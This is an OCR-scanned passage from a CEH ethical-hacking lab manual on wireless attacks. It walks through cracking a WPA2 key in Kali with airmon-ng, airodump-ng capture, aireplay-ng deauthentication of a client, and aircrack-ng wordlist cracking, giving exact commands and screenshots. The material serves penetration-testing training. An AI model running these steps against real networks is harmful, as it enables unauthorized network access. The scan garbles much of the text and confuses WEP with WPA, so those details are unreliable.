you will be connected to the CEHLabs access point as shown in the
screenshot.

ed Unmanaged

CEHLabs
VPN
Proxy Automatic

root

FIGURE 2.12: Connected to CEHLabs aceess point

27. An attacker uses this key to connect to the access point and then enters
the respective network. Once he/she entets the network, he /she can use
scanning tools to scan for open devices, perform vulnerability analysis,
and then start exploiting them.

Lab Analysis

Document the BSSID of the target wireless netwotk, connected clients, and
recovered WEP key. Analyze various Airecrack-ng attacks and their respective data
packet generation rate.

PLEASE TALK TO YOUR INSTRUCTOR IF YOU HAVE QUESTIONS
RELATED TO THIS LAB.

M Yes O No
Platform Supported
M Classroom M iLabs
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Module 16 - Hacking Wireless Networks

Cracking a WPA Network with
Aircrack-ng

Aircrack-ng is an 802.11 WEP and WPA-PSK kgys—cracking program that
recovers keys once enough data packets have been captured. 1t implements the standard
FMS attack along with some optimizations like KoreK attacks, and the all-new PTW
attack, thus making this attack much faster than those using other WEP cracking
to0ls.

Lab Scenario

Network administrators can take steps to help protect their witeless network from
outside threats and attacks. Most hackers will post details of any loops or exploits
online, and if they find a security hole, attackers will descend in droves to test your
wireless network with it.

WEP is used for wireless networks; always change your SSID from the default before
you actually connect the wireless router to the access point. If an SSID broadcast is
not disabled on an access point, the use of a DHCP setver to automatically assign IP
address to wireless clients should not be used, because war-driving tools can easily
detect your internal IP address if the SSID broadcasts are enabled and the DHCP is
being used.

As an ethical hacker and penetration tester of an organization, your I'T director will
assign you the task of testing wireless security, exploiting the flaws in WEP, and
cracking the keys present in your organization’s WEP. In this lab, we discuss how
WPA keys are cracked using standard attacks such as KoreK and PTW.

Lab Objectives
The objective of this lab is to protect wireless network from attackers.
In this lab, you will learn how to:

= Crack WPA using various tools

= Capture network traffic

=  Analyze and detect wireless traffic
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Lab Environment

To execute this lab, you will need:
= A Windows 10 virtual machine running
=  Kali Linux virtual machine
= Before starting this lab make sure that the Wireless Access point is
configured in WPA Encryption in Windows 10 machine

= This lab requires wireless network adapter installed on your machine.
If you don’t have this adapter, please do not proceed with the lab.

Lab Duration

Time: 10 Minutes

Overview of WPA (Wi-Fi Protected Access)
Encryption

WPA is a security protocol defined by 802.11i standards; it uses a Temporal Key
Integtity Protocol (TKIP) that utilizes the RC4 stream cipher encryption with
128-bit keys and 64-bit MIC integrity check to provide stronger encryption, and
authentication. WPA uses TKIP to eliminate the weaknesses of WEP by
including per-packet mixing functions, message integrity checks, extended
initialization vectors, and re-keying mechanisms. WPA2 is an upgrade to
WPA, it includes mandatory support for Counter Mode with Cipher Block

Chaining Message Authentication Code Protocol (CCMP), an AES-based
encryption mode with strong security.

Lab Task

1. Launch a Kali Linux virtual machine and login as root/toor.

H rask 1

2. Open a terminal window from the taskbar.
Wireless Adapter

into Monitor Mode 3. In a terminal window type airmon-ng and press Enter. To find the
wireless adapter
root@kali: ~ e ® 0 |
File Edit View Search Terminal Help
i~#lairmon-ng
Interface Driver Chipset
rt2800usb Linksys WUSB54GC v3 862.11g Adapter [Ral
FIGURE 3.1: airmon-ng Identifying
4. Now put the wireless adapter into monitor or promiscuous mode, to do
this type airmon-ng start wlan0 and press Enter.
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5. By issuing this command airmon will change the interface name as
wlanOmon as shown in the screenshot.

root@kali: ~ (- IO 01

File Edit View Search Terminal Help

airmon-ng start wlan@

ound 3 C that could e trouble.
If airodump ireplay-ng or tun-r stops working after
a short period of time, you ma ant to run 'airmon-ng check kill'

PID Name

476 NetworkMz
1333 wpa supp
3888 dhclient

Interface Drive

wlane rt2800usb n WUSB54GC v3 802.11g Ada [Ralink RT2

(mac86211 monitor mode vif enabled for [ph ® on [phy2 fwlanemon))
(mac8e211 station mode vif disabled T [phy2]wlane)

—#1
FIGURE 3.2: Starting airmon-ng in Monitor mexle

6. Use airodump-ng to get the list of detected access points, and also a list
of connected clients (“stations”).

7. Type airodump-ng wianOmon and press Enter. By issuing this command
we can see all the available Access Points (APs) and clients with in our
range.

8. In this lab we are choosing CEHLabs to perform the WEP cracking.

root@kali: ~ e 0o

File Edit View Search Terminal Help

:~#[a1rodump-ng wlanémon

FIGURE 3.3: Launching airodump-ng
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root@kall: ~ 200

File Edt Vew Search Terminal Help

-16 93:47

CIPHER AUTH

1

CEHLabs

FIGURE 3.4: airodump-ng searching for Available Access Points
9. Next, start airtodump-ng to captute the packets from the AP.

10. Now open a new terminal and type airodump-ng --bssid
20:E5:2A:E4:38:00 -c 7 -w WPA2crack wlanOmon and press Enter.
Leave airodump-ng running,

root@kali: ~ (- IO~}

File Edit View Search Terminal Help
# airodump-ng --bssid 20:E5:2A:E4:38:00 -¢ 7 -w WPA2crack wlanemon

FIGURE 3.5: Starting airodump-ng to capture the packets

root@kali: ~ e 00

File Edit View Search Terminal Help
[ Elapsed: 36 s ][ 2018-01-16 02:41 ][ ed channel wlanemon: 9
PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
4 0 8 0 de. WPA2 CCMP K CEHLabs

STATION PWR  Rate Lost Frames Probe

\:E4:38:00 40:9B:C 8 54e-54e (3

FIGURE 3.6: airodump-ng capturing the packets

11. Now, open a new terminal window and type aireplay-ng -0 2 -a
20:E5:2A:E4:38:00 —c 40:9B:CD:97:38:00 wianOmon and press Enter.

CEH Lab Manual Page 1302 Ethical Hacking and Countermeasures Copyright © by EC-Councll
All Rights Reserved. Reproduction is Strictly Prohibited.



Module 16 - Hacking Wirel N

12. In the above command:
-0 is the short-cut for the death mode

a.
b. 2is the no.of deauth packets which need to be send

o

-a is the access points bssid of the target network

e

-c is the clients bssid

e. wlanOmon is the monitor interface

root@kali: ~ e
Filz= Ecit View Search Terminal Help

wlangmon

T a
nding 64 directed D

ing 64 directed DeAuth, STMAC:

FIGURE 3.7: aireplay-ng generating traffic

13. Switch back to the terminal where aitodum-ng is running and press
Ctri+C to stop the capture.

Toot@kat = [-C) 1

File FEdit View Search Terminal Help

CH 7 ][ Elapsed: 5 mins ][ 2018-01-16 03:25 ][ WPA handshake: 20:E5:2A:E4:38:00

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH E D
A:E4:38:00 34 100 6758 14 7 54e. WPA2 CcCMP P CEHLabs

STATION PWR ate t Frames Probe

:00 40:9B:CD:97 30 -16 de-54e 6867

FIGURE 3.8: Stop airodump-ng traffic capture

14. Now open a new terminal window and type aircrack-ng -a2 -b
20:E5:2A:E4:38:00 -w /usr/share/wordlists/2017 WPA2crack-01.cap
and press Enter.

a. -ais the technique used to crack the handshake, 2=WPA
technique.

b. -b refers to bssid; replace with the BSSID of the target router.

c. -w stands for wordlist; provide the path to a wordlist.
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15. In this lab, we have already created a wordlists folder and placed in the
above mentioned path.

root@Kali: ~ e o0

File Edit View Search Temminal Help

WPA2Crack-01.cap

EAPOL HMAC

FIGURE 3.9: aircrack-ng WPA key cracked

16. An attacker uses this key to connect to the access point and then enters
the respective network. Once he/she enters the network, he/she can use
scanning tools to scan for open devices, perform vulnerability analysis,
and then start exploiting them.

Lab Analysis
Document the BSSID of the target wireless network, connected clients, and

recovered WEP key. Analyze various Airecrack-ng attacks and their respective data
packet generation rate.

PLEASE TALK TO YOUR INSTRUCTOR IF YOU HAVE QUESTIONS
RELATED TO THIS LAB.

‘ M Yes " O No

 Platform Supported
‘ M Classroom M iLabs
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